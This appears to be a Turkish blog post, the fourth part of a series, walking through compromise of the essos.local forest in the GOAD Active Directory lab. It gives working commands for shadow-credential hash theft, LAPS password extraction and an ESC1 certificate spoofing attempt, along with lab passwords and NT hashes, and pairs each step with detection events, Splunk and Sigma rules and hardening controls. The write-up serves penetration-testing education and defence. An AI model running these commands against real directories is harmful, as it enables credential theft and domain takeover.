Series · 4 partsAssessing Active DirectoryPart 4 · You are here
- 1GOAD Bölüm 1: Sıfır Kimlik Bilgisinden Saldırı Grafiğine
- 2GOAD Bölüm 2: NORTH Domain Controller'ını Ele Geçirmek
- 3GOAD Bölüm 3: ACL Zincirinde Orman Köküne Tırmanmak
- 4GOAD Bölüm 4: Orman Güvenini Aşarak essos.local'i Ele GeçirmekYou are here
Orman güveni neden bedava bir Domain Admin değildir
Bölüm 3’ün sonunda sevenkingdoms.local orman kökünü ele geçirmiş ve krbtgt hash’ini almıştık. Çok ormanlı bir laboratuvarda insanın aklına hemen şu soru gelir: essos.local’e sahte bir biletle giremez miyim? Cevap hayır. Üstelik bu “hayır”ın nedenini anlamak, tek bir araç çalıştırmadan önce zihninde doğru modeli kurmanı sağlar; çünkü aynı yanlış varsayım gerçek bir denetimde saatler kaybettirebilir.
Active Directory iki tür güven arasında kesin bir çizgi çeker. Ebeveyn–alt (parent–child) güveni tek bir ormanın içinde yaşar; burada tüm etki alanları zaten tek bir Schema ve Configuration bölümünü paylaşır. Orman güveni (forest trust) ise birbirinden tamamen bağımsız iki ormanı birleştirir. İki taraftaki trustAttributes değerini okumak, aradaki farkı tek bakışta görünür kılar:
$ ldapsearch -x -H ldap://192.168.56.10 -D "[email protected]" -w "powerkingftw135" \
-b "CN=System,DC=sevenkingdoms,DC=local" "(objectClass=trustedDomain)" \
cn flatName trustAttributes | grep -E "^(cn|flatName|trust)"
cn: north.sevenkingdoms.local
flatName: NORTH
trustAttributes: 32 # WITHIN_FOREST — SID filtering OFF
cn: essos.local
flatName: ESSOS
trustAttributes: 72 # TREAT_AS_EXTERNAL | FOREST_TRANSITIVE — SID filtering ON
$ ldapsearch -x -H ldap://192.168.56.12 -D "[email protected]" -w "fr3edom" \
-b "CN=System,DC=essos,DC=local" "(objectClass=trustedDomain)" \
cn flatName trustAttributes | grep -E "^(cn|flatName|trust)"
cn: sevenkingdoms.local
flatName: SEVENKINGDOMS
trustAttributes: 8 # FOREST_TRANSITIVE — SID filtering ON
trustAttributes, Multi-Forest Active Directory Architecture yazısında ayrıntılı olarak açtığım [MS-ADTS] §6.1.6.7.9 bitmask’idir. Çıktıdaki değerler ondalık yazılmıştır; bu yüzden 72 gibi bir sayı gördüğünde bunu 64 + 8, yani TREAT_AS_EXTERNAL ile FOREST_TRANSITIVE bayraklarının birleşimi olarak okumalısın. Burada bakman gereken asıl fark 32 (0x20 = WITHIN_FOREST) ile 8/72 (FOREST_TRANSITIVE, isteğe bağlı olarak TREAT_AS_EXTERNAL ile) arasındadır:
WITHIN_FOREST (32)ebeveyn–alt ilişki, SID filtering kapalı anlamına gelir. Bu yüzdennorthiçinde üretilen bir Golden Ticket,ExtraSidsalanında ana etki alanınınEnterprise AdminsSID’ini taşıyıpsevenkingdoms.local’a girebiliyordu. Bu, orman içi yükseltme numarasıdır; ormanlar arasında geçerli değildir. Sebep basittir: alt etki alanı bir yönetim birimidir, güvenlik sınırı değildir.FOREST_TRANSITIVE (8/72)SID filtering’i (Quarantine) devreye alır. Bir bilet orman güveni üzerindenessos.local’e geçerken,essosKDC’si biletinExtraSids/ PAC alanındaki, çağıranın kendi SID’i olmayan veya güvenen ormanın meşru bir üyesine ait olmayan her SID’i ayıklar. Yanisevenkingdoms.local’dakrbtgtile üretilmiş veS-1-5-21-...-519(Enterprise Admins) taşıyan bir bilet,essos.local’e o SID silinmiş hâlde varır. Elinde hâlâ geçerli bir bilet vardır, ama artık ayrıcalıklı değildir.

Small Council grubunun Spys içindeki ForeignSecurityPrincipal üyeliği sınırlar arasında meşru ve kimliği doğrulanmış bir yetkilendirme kanalı açar.Protokol ve matematiksel kablo mekaniği: trustAttributes: 72 bitmask ayrıştırması
trustAttributes alanındaki sayısal değerler [MS-ADTS] §6.1.6.7.9 (Trusted Domain Object) standardında tanımlanmıştır:
| Bayrak Sabiti | Onaltılık Değer | Ondalık Değer | Anlamı ve Ağ Davranışı |
|---|---|---|---|
TRUST_ATTRIBUTE_NON_TRANSITIVE | 0x00000001 | 1 | Güven ilişkisi hedef etki alanının ötesine geçişken değildir. |
TRUST_ATTRIBUTE_UPLEVEL_ONLY | 0x00000002 | 2 | Etki alanı Windows 2000 ve daha yeni Kerberos uzantılarını destekler. |
TRUST_ATTRIBUTE_QUARANTINED_DOMAIN | 0x00000004 | 4 | Bir dış güvende (external trust) SID Filtering açıkça etkinleştirilmiştir. |
TRUST_ATTRIBUTE_FOREST_TRANSITIVE | 0x00000008 | 8 | Ormanlar arası güven; SID Filtering varsayılan olarak zorunludur. |
TRUST_ATTRIBUTE_WITHIN_FOREST | 0x00000020 | 32 | Orman içi ağaç/alt etki alanı güveni; SID Filtering devre dışıdır. |
TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL | 0x00000040 | 64 | Delegasyon ve PAC kuralları için güven dış sınır olarak değerlendirilir. |
sevenkingdoms.local → essos.local yönündeki matematiksel bit düzeyinde VEYA (bitwise OR) bağıntısı:
$$\text{trustAttributes} = \text{FOREST_TRANSITIVE} \mid \text{TREAT_AS_EXTERNAL} = 8 \mid 64 = 72 \quad (0\text{x}08 \mid 0\text{x}40 = 0\text{x}48)$$
Bir Kerberos yönlendirme (referral) bileti essos.local sınırını geçtiğinde KDC, KrbFilterSids() yordamını ([MS-PAC] §4.1.2.2) çalıştırır. FOREST_TRANSITIVE (8/72) altında, biletin ExtraSids alanında yer alan ve RID’i 1000’in altında olan (örneğin 512 Domain Admins veya 519 Enterprise Admins) ya da etki alanı SID’i güvenilen ormanla eşleşmeyen tüm harici SID’ler yetki verisinden ayıklanır. Buna karşılık WITHIN_FOREST (32) altında KrbFilterSids() aynı ormanın üye etki alanları için baypas edilir; bu da alt etki alanından ebeveyne bilet yükseltmeyi mümkün kılar.
Windows PowerShell üzerinde güven yapılandırması şu komutla incelenebilir:
Get-ADTrust -Filter * | Select-Object Name, Direction, TrustType, TrustAttributes
Tespit: trustAttributes değerini yukarıdaki gibi ldapsearch ile veya nxc ldap <dc> -u <user> -p <pass> --trusted-for-delegation ile kimlik doğrulamış her kullanıcı okuyabilir. Burada alarm verilecek bir şey yoktur; bu, dizinin statik metadata’sıdır ve tek başına bir ihlal göstermez.
Kontrol: SID filtering, dış ve orman güvenleri için varsayılan olarak açıktır ve öyle kalmalıdır. Avlanman gereken yanlış yapılandırma, SID filtering’i açıkça kapatılmış (netdom trust ... /quarantine:no) bir orman güveni ya da yanlışlıkla orman güveni olarak oluşturulmuş bir dış güvendir. Güveni bir güvenlik duvarı kuralı gibi düşün: ormanlar arası NETLOGON/RPC (135/445) erişilebilirliği asıl saldırı yüzeyidir. Bu portlar açıkken güven “yalnızca kimlik doğrulama” için değil, aynı zamanda keşif ve yanal hareket için de bir kapı hâline gelir. Bu yüzden güven envanterini yalnızca “hangi ormanlar bağlı” diye değil, “hangi yönde, hangi protokollerle ve hangi SID filtering ayarıyla bağlı” diye tutmak gerekir.
Sınırı gerçekten geçen şey: yabancı grup yuvalama
SID filtering sahte bir bileti durdurur, ama meşru bir ormanlar arası yetkiyi durdurmaz. missandei olarak essos.local’in gruplarını numaralandırdığımda bir kayıt hemen dikkatimi çekti: Spys grubunun üyesi bir essos hesabı değil, bir foreign security principal nesnesiydi:
$ ldapsearch -x -H ldap://192.168.56.12 -D "[email protected]" -w "fr3edom" \
-b "DC=essos,DC=local" "(&(objectClass=group)(sAMAccountName=Spys))" member
member: CN=S-1-5-21-3291916993-3717649449-3745629854-1108,CN=ForeignSecurityPrincipals,DC=essos,DC=local
Bu SID sevenkingdoms.local’a aittir ve RID -1108 Small Council grubunu gösterir; yani Bölüm 3’te tyron.lannister’ı eklediğimiz grubun ta kendisini. Demek ki iki orman yalnızca bir güvenle değil, aynı zamanda ormanlar arası grup yuvalamasıyla da birbirine bağlıdır: Small Council (sevenkingdoms), Spys (essos) grubunun üyesidir ve bu üyelik CN=ForeignSecurityPrincipals altında bir ForeignSecurityPrincipal nesnesi olarak saklanır. Bu nesne, hedef ormanda yerel bir temsilci gibi davranır; asıl kimlik ise kaynak ormanda kalır.
Sonuç somuttur. Spys grubu, jorah.mormont üzerinde GenericAll tutar:
$ impacket-dacledit -action read -target jorah.mormont "essos.local/missandei:fr3edom" -dc-ip 192.168.56.12
[*] Access mask : FullControl (0xf01ff)
[*] Trustee (SID) : Spys (S-1-5-21-2405585222-1741672622-953379088-1112)
“Bir orman güvenini nasıl geçersin?” sorusunun gerçek cevabı budur. Ayrıcalıklı bir SID’i bilete enjekte etmeye çalışmazsın; SID filtering bunu zaten bozar. Bunun yerine, kendi ormanındaki bir principal’ın hedef ormanda gerçek bir ACE tutmasını sağlayan meşru bir ormanlar arası grup üyeliği kullanırsın. tyron.lannister (Small Council içindeki bir sevenkingdoms kullanıcısı) essos.local’e kimlik doğruladığında kendi SID’i onunla birlikte gider ve essos DC’si bu SID’i Spys grubunun giden haklarına göre değerlendirir. Burada filtrelenecek bir şey yoktur, çünkü ortada enjekte edilmiş bir ExtraSids değeri değil, kullanıcının gerçek SID’i vardır. Fark küçük görünür ama sonucu büyüktür: savunma tarafı bilet sahteciliğini engellerken, yanlış kurgulanmış bir grup üyeliği kapıyı açık bırakır.
BloodHound Cypher: Ormanlar arası grup yuvalamalarını haritalamak
BloodHound üzerinde güven sınırlarını aşan tüm ForeignSecurityPrincipal bağlantılarını keşfetmek için:
MATCH (g1:Group)-[:MemberOf]->(g2:Group)
WHERE g1.domain <> g2.domain
RETURN g1.name AS ForeignGroup, g1.domain AS SourceDomain, g2.name AS LocalGroup, g2.domain AS TargetDomain
Tespit: Ormanlar arası grup üyelikleri CN=ForeignSecurityPrincipals,DC=<domain>,DC=<tld> altında birikir. Bunları ldapsearch ... "(objectClass=foreignSecurityPrincipal)" ile listele ve her FSP’yi güvenen etki alanına geri eşleştir. Böylece yerel hak verilmiş düşük ayrıcalıklı bir grubun (Small Council gibi) olup olmadığını görürsün. essos tarafındaki herhangi bir gruba yabancı üye eklendiğinde 5136/4732 olaylarını izle; özellikle ayrıcalıklı bir gruba yapılan yabancı ekleme yüksek öncelikli bir sinyaldir.
Kontrol: ForeignSecurityPrincipals kabını Tier-0 yapılandırması gibi ele al. Yalnızca ayrılmış ormanlar arası yönetici gruplarını yuvala; geniş kullanıcı gruplarını asla. Yabancı bir principal’a verilen her ACE’i de düzenli olarak denetle. SID filtering seni bilet sahteciliğinden korur, ama yanlış grubu yuvalamış bir yöneticiden seni hiçbir şey korumaz.
Essos domain temel yapılandırması ve savunma duruşu
Resmi GOAD dokümantasyonu essos.local ormanına iki Windows Server 2016 sunucusu tahsis eder:
| Sunucu | IP | Rol | İşletim Sistemi | Windows Defender | Ana Yüzey ve Vektörler |
|---|---|---|---|---|---|
DC03 (meereen) | 192.168.56.12 | Orman Kökü DC, KDC, DNS, Enterprise CA | Windows Server 2016 | Etkin (Enabled) | Ormanlar arası güven uç noktası, AS-REP roasting (missandei), AD CS ESC1-ESC8 |
SRV03 (braavos) | 192.168.56.23 | Üye Sunucu, MSSQL, LAPS, gMSA | Windows Server 2016 | Etkin (Enabled) | LAPS (ms-Mcs-AdmPwd), CASTELBLACK’ten gelen MSSQL linked server hedefi |
[!NOTE] GOAD tasarımında hem
DC03hem deSRV03Windows Defender Etkin durumda çalışır. LDAP üzerinden LAPS parolalarını okumak, Kerberos ormanlar arası biletleri istemek ve AD CS şablonlarını sorgulamak onaylı yönetim protokolleri üzerinden gerçekleştiğinden doğrudan antivirüs uyarısı üretmez. Tespit bütünüyle Güvenlik Olay Günlüklerine ve dizin denetimine dayanır.
missandei dayanağından BRAAVOS’ta LAPS’a
Ormanlar arası yuvalama hikâyenin en ilginç kısmıdır; ancak güvenilir ele geçirme yolu yine essos.local’in içinden geçer. Başlangıç noktamız, Bölüm 1’de AS-REP Roasting ile kırdığımız missandei : fr3edom hesabıdır. BloodHound’un ACL koleksiyonu zinciri net biçimde çizer:
[email protected] --[GenericAll ]--> [email protected]
[email protected] --[GenericAll ]--> [email protected]
[email protected] --[GenericWrite]--> [email protected]
[email protected] --[ReadLAPSPassword]--> BRAAVOS.ESSOS.LOCAL
essos.local yolu: yabancı grup yuvalaması (Small Council → Spys) güveni meşru yoldan geçer; güvenilir yükseltme zinciri ise ormanın içinde ilerler. missandei, üç GenericAll/GenericWrite adımıyla jorah.mormont'a ulaşır ve onun ReadLAPSPassword hakkı BRAAVOS yerel yöneticisinin kilidini açar.Her adım, Bölüm 3’te kullandığımız primitifin aynısıdır; yine de kenar başına ne kadar az şey değiştirmen gerektiğine dikkat et. missandei’nin khal.drogo üzerinde GenericAll hakkı vardır. certipy shadow auto hedefe bir key credential yazar, PKINIT üzerinden kimlik doğrular, NT hash’ini alır ve sonra hesabı eski hâline getirir; yani parolayı hiç değiştirmeden aynı kapıdan çıkar:
$ certipy-ad shadow auto -u [email protected] -p fr3edom -account khal.drogo -dc-ip 192.168.56.12
[*] Successfully added Key Credential ... to the Key Credentials for 'khal.drogo'
[*] Got TGT
[*] Successfully restored the old Key Credentials for 'khal.drogo'
[*] NT hash for 'khal.drogo': 739120ebc4dd940310bc4bb5c9d37021
İki özdeş adım daha atarız: khal.drogo → viserys.targaryen (GenericAll) ve viserys.targaryen → jorah.mormont (GenericWrite). Sonunda hiçbir parola öğrenmeden jorah.mormont’un hash’ini elimizde tutarız. Bu, zincirin en sessiz kısmıdır; çünkü hiçbir hesabın parolası değişmez ve kullanıcılar çalışmaya devam eder:
[*] NT hash for 'viserys.targaryen': d96a55df6bef5e0b4d6d956088036097
[*] NT hash for 'jorah.mormont': 4d737ec9ecf0b9955a161773cfed9611
jorah.mormont için ödül başka bir kullanıcı hesabı değil, LAPS’tır. BRAAVOS$ bilgisayar nesnesi üzerindeki ms-Mcs-AdmPwd özniteliğinde (GUID dfe058bd-b18e-4c1b-8ce8-ce4b7933781e) sahip olduğu ReadProperty hakkı, yönetilen yerel yönetici parolasını doğrudan LDAP’tan çekmesini sağlar. Yani makinenin üzerine hiç dokunmadan, yalnızca dizin okumasıyla yerel yönetici oluruz:
$ ldapsearch -x -H ldap://192.168.56.12 -D "[email protected]" -w "H0nnor!" \
-b "DC=essos,DC=local" "(ms-Mcs-AdmPwd=*)" sAMAccountName ms-Mcs-AdmPwd
sAMAccountName: BRAAVOS$
ms-Mcs-AdmPwd: E(D8oS]3zX79Px
$ nxc smb 192.168.56.23 -u Administrator -p "E(D8oS]3zX79Px" --local-auth
SMB 192.168.56.23 445 BRAAVOS [+] BRAAVOS\Administrator:E(D8oS]3zX79Px (Pwn3d!)
BloodHound Cypher: LAPS parolası okuma haklarını sorgulamak
essos.local içindeki bilgisayarlar üzerinde düz metin LAPS yönetici parolasını okuma yetkisine sahip principal’ları listelemek için:
MATCH (u:User)-[r:ReadLAPSPassword]->(c:Computer)
RETURN u.name AS Reader, c.name AS TargetComputer
Windows ve PowerShell araç eşdeğerleri (LAPS özniteliği çekme)
Etki alanı erişimi olan bir Windows sisteminden LAPS parolası ActiveDirectory modülü veya AdmPwd PowerShell modülü ile okunabilir:
# ActiveDirectory PowerShell modulu (ms-Mcs-AdmPwd ozelligini okuma)
Get-ADComputer braavos -Properties ms-Mcs-AdmPwd | Select-Object Name, ms-Mcs-AdmPwd
# AdmPwd.PS PowerShell modulu
Get-AdmPwdPassword -ComputerName braavos
BRAAVOS (192.168.56.23), aynı zamanda ESSOS-CA’yı barındıran üye sunucudur. Buradaki yerel yöneticilik, ikinci ormanda bir Tier-0 dayanak noktası demektir; çünkü CA barındıran bir sunucu, üzerinde çalıştığı katman ne olursa olsun Tier-0 varlığı sayılır.
Tespit: Shadow credentials adımları Bölüm 3 ile aynıdır; her hesap için msDS-KeyCredentialLink üzerinde Event ID 5136 görünür. LAPS okuması daha sessizdir: gizli bir özniteliğin LDAP okumasıdır ve DC’de (kaydedilirse) Event ID 4662 olarak loglanır. En keskin sinyal, düşük ayrıcalıklı tek bir hesabın (jorah.mormont) dokunmak için operasyonel bir nedeni olmayan bir makinenin ms-Mcs-AdmPwd değerini aniden okumasıdır.
Kontrol: Sıradan kullanıcılar arasındaki GenericAll/GenericWrite ACE’lerini (missandei → khal.drogo, khal.drogo → viserys, viserys → jorah) Bölüm 3’te yaptığımız gibi buda. LAPS tarafında ReadLAPSPassword (ms-Mcs-AdmPwd) verilmiş her hesabı denetle ve listeyi gerçekten ihtiyacı olan yardım masası araçlarıyla sınırlı tut. jorah.mormont’un BRAAVOS’un LAPS parolasını okumak için hiçbir işi yoktur. İsteğe bağlı olarak, düz metin ms-Mcs-AdmPwd yerine hedef makinenin TPM/DPAPI’sine bağlı şifrelemeli Windows LAPS’a geç; böylece dizin sızsa bile parola tek başına kullanılamaz.
AD CS katmanı: ESSOS-CA ve ESC şablonları
essos.local, kendi Enterprise CA’sı ESSOS-CA’yı Domain Controller üzerinde değil, BRAAVOS (.23) üzerinde çalıştırır. CA’yı DC üzerinde barındırmak yaygın ama tehlikeli bir yerleşimdir; bu laboratuvar ise CA’yı DC’ye koymak yerine daha az korunan bir üye sunucuya taşır ve Tier-0 varlığını o kutuya bağlar. missandei olarak certipy find, savunmasız yüzeyi tek seferde numaralandırır:
$ certipy-ad find -u [email protected] -p fr3edom -dc-ip 192.168.56.12 -vulnerable -stdout
Certificate Authorities
0
CA Name : ESSOS-CA
DNS Name : braavos.essos.local
User Specified SAN: Enabled # ESC6
[!] ESC8 : Web Enrollment is enabled over HTTP.
[!] ESC11 : Encryption is not enforced for ICPR (RPC) requests.
Certificate Templates
Template Name: ESC1 -> ESC1: Enrollee supplies subject + client authentication
Template Name: ESC2 -> ESC2: any-purpose EKU
Template Name: ESC3-CRA -> ESC3: Certificate Request Agent EKU
Template Name: ESC9 -> ESC9: no security extension
Template Name: WebServer -> ESC15 (schema v1) / ESC17 (server auth)
Başrol ESC1’dedir: ESC1 şablonu Domain Users tarafından kaydedilebilir, kaydolan kişinin subject’i belirlemesine izin verir ve client authentication’a müsaade eder. Bu üç koşul bir araya geldiğinde missandei gibi sıradan bir etki alanı kullanıcısı, [email protected] içeren bir sertifika talep edebilir; sertifikayı PKINIT üzerinden sunarak daenerys.targaryen’in TGT’sini alabilir. daenerys.targaryen ise Domain Admins grubunun doğrudan üyesidir. Yani tek bir yanlış şablon ayarı, ikinci ormanın en üstüne giden kapıyı aralar:
$ certipy-ad req -u [email protected] -p fr3edom -ca ESSOS-CA -template ESC1 \
-upn [email protected] -dc-ip 192.168.56.12
[*] Requesting certificate via RPC
[!] Failed to resolve dynamic endpoint 91AE6020-9E3C-11CF-8D7C-00AA00C091BE: ept_s_not_registered
Bu laboratuvar örneğinde ESSOS-CA enrollment uç noktaları hizmet vermiyor. ICertRequest RPC arayüzü (91AE6020-9E3C-11CF-8D7C-00AA00C091BE) ept_s_not_registered döndürüyor; /certsrv/ web enrollment 80/tcp üzerinde yanıt veriyor ama çalışan bir CEP/CES uç noktası sunmuyor. Yapılandırma savunmasız: şablonlar ve User Specified SAN bayrağı gerçekten var ve numaralandırılabiliyor. Buna karşılık servis tarafı kapalı. Başarısız isteği bilerek bıraktım, çünkü bu tam olarak GOAD belgeleriyle belirli bir çalışan örnek arasında ortaya çıkan farktır. “ESC1 bize Domain Admin verir” diye yazmadan önce CA’nın gerçekten erişilebilir olduğunu doğrulamak iyi bir alışkanlıktır; aksi hâlde raporda olmayan bir istismarı anlatmış olursun. Kısacası keşif çıktısı bir potansiyel listesidir; kanıt ise ancak istek gerçekten yanıt verdiğinde oluşur. Bu ayrımı korumak, teknik yazının güvenilirliğini ayakta tutan en temel disiplindir.
CA canlı olduğunda tamamlama, standart sertifikadan etki alanı yöneticiliğine giden akıştır: certipy req -upn [email protected] → certipy auth -pfx daenerys.pfx → bir daenerys.targaryen TGT’si → meereen.essos.local’a karşı secretsdump ile DCSync. daenerys.targaryen Domain Admins içinde oturduğu için tek bir sertifika, ikinci ormanın tamamına eşdeğerdir.
BloodHound Cypher: Savunmasız ESC1 sertifika şablonlarını bulmak
Düşük yetkili kayda izin veren, enrollee-supplied SAN ve istemci kimlik doğrulaması içeren şablonları sorgulamak için:
MATCH (u:User)-[:Enroll]->(t:CertificateTemplate)
WHERE t.enrolleesuppliessubject = true AND t.authenticationenabled = true
RETURN u.name AS Principal, t.name AS TemplateName
Windows ve C# araç eşdeğerleri (Certify)
Bir Windows sisteminde ESC1 sertifika talebi ve kimliğe bürünme işlemi Certify ile yürütülür:
# Certify ile daenerys.targaryen adina sertifika talebinde bulunma
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:ESC1 /altname:daenerys.targaryen
Tespit: certipy find’in kendisi bir LDAP okuma patlaması ve CA registry’sine (RRP) bir RPC bağlantısı tetikler; bunu yönetici olmayan bir iş istasyonundan gelen anomali olarak logla. ESC1 istismarı ise CA üzerinde Event ID 4886/4887 (sertifika istendi/verildi) olarak görünür; PKINIT ise pre-auth type 16 ile 4768 üretir.
Kontrol: AD CS, bu laboratuvardaki en yüksek getirili sıkılaştırma hedefidir. Domain Users tarafından kaydedilebilen her şablondan EnrolleeSuppliesSubject ayarını kaldır (veya yönetici onayı zorunlu kıl), CA üzerinde User Specified SAN özelliğini kapat, HTTP web enrollment’ı (ESC8) devre dışı bırak ve ICPR isteklerinde şifrelemeyi zorunlu kıl (ESC11). Her şeyden önce Enterprise CA sunucusunu (BRAAVOS), hangi makinede çalışırsa çalışsın Tier 0 olarak ele al.
Domain Admin kısayolu: yuvalanmış bir ejderha
Kayda değer bir yapısal bulgu daha var; çünkü Domain Admin’in yalnızca ACL zincirlerinden gelmediğini hatırlatıyor. essos.local içindeki Domain Admins grubu QueenProtector grubunu, o da Dragons grubunu, o da drogon hesabını içerir:
Domain Admins -> QueenProtector -> Dragons -> drogon
Bu, sıradan kullanıcı drogon’un üç seviyeli iç içe grup üyeliği sayesinde etkin biçimde Domain Admin olduğu anlamına gelir; hiçbir ACL istismarı gerekmez. drogon’u kontrol eden herkes ön kapıdan Domain Admins içine yürür: örneğin gmsaDragon$ yönetilen parolasını okuyup giden haklarını kullanarak ya da drogon’un parolası zayıf ve kırılabilir olduğu için. İç içe gruplar, “benim ayrıcalıklı bir hesabım yok” cümlesinin yanlış çıktığı yerdir. Yöneticiler genellikle doğrudan üyeliklere bakar; oysa etki, zincirin en altındaki sıradan hesaptan en üste kadar uzanır.
Tespit / Kontrol: Yalnızca doğrudan üyelikleri değil, etkin grup üyeliğini de numaralandır. BloodHound’un AdminTo/MemberOf sorguları ve nxc ldap --get-network bu iş için doğru araçlardır. Ayrıcalıklı grupları düzleştir ki Domain Admins hiçbir zaman bir kullanıcı grubu zinciri içermesin; yuvalamanın herhangi bir noktasında oturan hesaplar için de parola kalitesine bir alt sınır koy.
Ormanlar arası ve domain içi savunma telemetrisi
Ormanlar arası sınırları güvenceye almak; güven geçişlerini, dizin öznitelik okumalarını ve sertifika taleplerini gözlemlemeyi gerektirir:
| Saldırı Vektörü | Windows Event ID | Olay Açıklaması | Telemetri Ayrıntıları ve Göstergeler |
|---|---|---|---|
| Ormanlar Arası TGS Talebi | 4769 | Kerberos Servis Bileti Talebi | ServiceName: krbtgt/essos.local, ormanlar arası yönlendirme bilet opsiyonları |
| FSP Güvenlik Grubu Değişikliği | 4728 / 4732 | Güvenlik Grubuna Üye Eklendi | Yabancı Güvenlik Principal’ı SID’i (CN=S-1-5-21-...) ile üyelik eklenmesi |
| Shadow Credentials Anahtar Yazımı | 5136 | Dizin Servisi Nesnesi Değiştirildi | khal.drogo / viserys üzerinde msDS-KeyCredentialLink özniteliği yazımı |
| LAPS Parolası Okuma | 4662 | Nesne Üzerinde İşlem Gerçekleştirildi | ms-Mcs-AdmPwd özniteliğini hedefleyen 0x10 (Read Property) erişim maskesi |
| AD CS Sertifika Düzenlenmesi | 4887 | Sertifika Servisi Onaylandı ve Verildi | Template: ESC1/ESC2, Talep eden ile Sertifika Öznesi uyumsuzluğu (daenerys taklidi) |
| Ağ Yoluyla Yönetici Girişi | 4624 | Başarılı Ağ Oturumu | LogonType: 3, Hedef BRAAVOS$ / MEEREEN$, Hesap daenerys.targaryen |
SIEM ve SOC tespit kuralları
Ormanlar arası pivot adımlarını, LAPS okumalarını ve sertifika kimliğe bürünmelerini tespit etmek hedefe yönelik SIEM kuralları gerektirir:
1. Splunk: LAPS Özniteliği Okuma (Event ID 4662)
Gizli ve düz metin LAPS parolasını barındıran ms-Mcs-AdmPwd özniteliğine (GUID {dfe058bd-b18e-4c1b-8ce8-ce4b7933781e}) yönelik dizin okuma işlemlerini tespit eder:
index=wineventlog EventCode=4662 ObjectType="computer"
| search AccessMask="0x10" AND Properties="*{dfe058bd-b18e-4c1b-8ce8-ce4b7933781e}*"
| table _time, SubjectUserName, ComputerName, ObjectName, Properties
2. Splunk: SAN Taklidi İçeren AD CS Sertifika Talebi (Event ID 4887)
ESSOS-CA tarafından düzenlenen sertifikalarda talep eden hesap ile sertifika içindeki Subject Alternative Name (SAN) UPN kimliğinin uyuşmadığı durumları yakalar:
index=wineventlog EventCode=4887
| search CertificateTemplate IN ("ESC1", "ESC2")
| eval requester=coalesce(Requester, SubjectUserName)
| where requester != UPN AND isnotnull(UPN)
| table _time, ComputerName, requester, UPN, CertificateTemplate
3. Sigma kural kesiti: Yetkisiz LAPS parolası sorgulaması
title: Yetkisiz LAPS Parolasi Oznitelik Sorgusu
status: experimental
description: Duz metin ms-Mcs-AdmPwd ozniteligine yapilan LDAP okuma islemlerini tespit eder
logsource:
product: windows
service: security
detection:
selection:
EventID: 4662
ObjectType: 'computer'
AccessMask: '0x10'
Properties|contains: '{dfe058bd-b18e-4c1b-8ce8-ce4b7933781e}'
condition: selection
falsepositives:
- Yetkili merkezi yardim masasi yonetim yazilimlari
level: high
Bulguların özeti
| Bulgu | Yol | Etki | Doğrula (Kali’den) | Kontrol |
|---|---|---|---|---|
| Orman güveninde SID filtering AÇIK | sevenkingdoms ↔ essos | Sahte ExtraSids/SID-history bileti DA’ya ulaşamaz | ldapsearch ... (trustedDomain trustAttributes) | Quarantine’i açık tut; güven tipini denetle |
| Yabancı grup yuvalama | Small Council (sevenkingdoms) → Spys (essos) | Bir sevenkingdoms principal’ı jorah.mormont üzerinde GenericAll tutar | ldapsearch ... (foreignSecurityPrincipal) | Yalnızca ayrılmış ormanlar arası yönetici gruplarını yuvala |
| Orman içi ACL zinciri | missandei → khal.drogo → viserys → jorah | Shadow credentials ile parolasız üç NT hash | Her adımda certipy-ad shadow auto -account <u> | Kullanıcılar arası GenericAll/GenericWrite’i kaldır |
BRAAVOS$ üzerinde ReadLAPSPassword | jorah.mormont | BRAAVOS yerel yöneticisi (E(D8oS]3zX79Px) | ldapsearch ... "(ms-Mcs-AdmPwd=*)" | ms-Mcs-AdmPwd okuyucularını denetle; Windows LAPS |
ESSOS-CA ESC şablonları | BRAAVOS üzerinde ESSOS-CA | ESC1/2/3/4/6/8/9/11 → PKINIT ile daenerys (DA) | certipy-ad find ... -vulnerable | EnrolleeSuppliesSubject’i kaldır; HTTP enrollment’ı kapat |
Yuvalanmış Domain Admins | drogon ∈ Dragons ∈ QueenProtector ∈ DA | İç içe gruplarla etkin DA | BloodHound AdminTo / MemberOf | Ayrıcalıklı grup yuvalamasını düzleştir |
Seriyi kapatırken
Bu, dört bölümlük anlatının son parçası ve biçiminin kendisi asıl ders: üç etki alanı, iki orman ve her “exploit” aslında birinin unuttuğu bir sınırı geçen sıradan bir Windows özelliğiydi. Bölüm 1, kimlik doğrulamasız numaralandırmayı ve AS-REP Roasting’i bir dayanak noktasına dönüştürdü. Bölüm 2, bir servis hesabını Kerberoast etti ve constrained delegation üzerinden NORTH DC’sine ulaştı. Bölüm 3, orman köküne kadar sekiz adımlı bir ACL zinciri yürüdü. Burada ise orman güveninin SID filtering’i bizi bilet üretmeyi bırakıp doğru principal olmaya zorladı: yabancı bir grup üyeliği, üç adımlı bir ACL zinciri ve LAPS üzerinden ilerledik; AD CS ise tek satırlık bitişi sundu. Her aşamada kullanılan şey bir yazılım açığı değil, yanlış yapılandırılmış meşru bir özellikti.
Burada özet geçtiğimiz derinlikli teknikler, sitemizde ayrı bağımsız teknik analizler olarak yayımlanmıştır:
- Ormanlar Arası Veritabanı Hareketi: SQL Server Linked Servers ile Ormanlar Arası Pivot (
CASTELBLACK ↔ BRAAVOSsaeşlemeleri üzerinden güven sınırlarını atlama). - Sertifika Servisleri İstismarı: AD CS ESC Taksonomisi: ESC1’den ESC15’e Saldırı Yüzeyi ve AD CS ESC1: Düşük Yetkili Kullanıcıdan Domain Admin’e.
- Şablon Ele Geçirme: AD CS ESC4 & ESC6: Şablon Hijacking ve SAN İstismarı.
- Savunma Sıkılaştırması: AD CS Sıkılaştırma: Kerberos PKINIT Zorunluluğu ve NTLM Zorlamasını Engelleme.
Kanıt ve sınırlar
Ormanlar arası güven (trustAttributes) kontrolleri, ACL adımları (missandei → khal.drogo → viserys.targaryen), BRAAVOS üzerindeki LAPS parola okuması ve ESSOS-CA şablon numaralandırması, sevenkingdoms.local ile essos.local arasındaki izole GOAD laboratuvarında yürütüldü. Gösterilen tüm kimlik bilgileri ve SID değerleri GOAD test veri kümesine aittir; hiçbir trafik host-only laboratuvar ağının dışına çıkmadı. Başarısız sertifika isteği değiştirilmeden korundu, çünkü yapılandırmanın savunmasız olması ile servisin gerçekten çalışması arasındaki farkı göstermesi açısından öğretici.
Referanslar
- Orange Cyberdefense, GOAD (Game of Active Directory): orange-cyberdefense.github.io/GOAD
- S1ckB0y1337, Active Directory Exploitation Cheat Sheet: github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
- HackTricks, Active Directory Methodology: book.hacktricks.xyz
- The Hacker Recipes, Trusts: thehacker.recipes/ad/movement/trusts
- Microsoft Open Specifications,
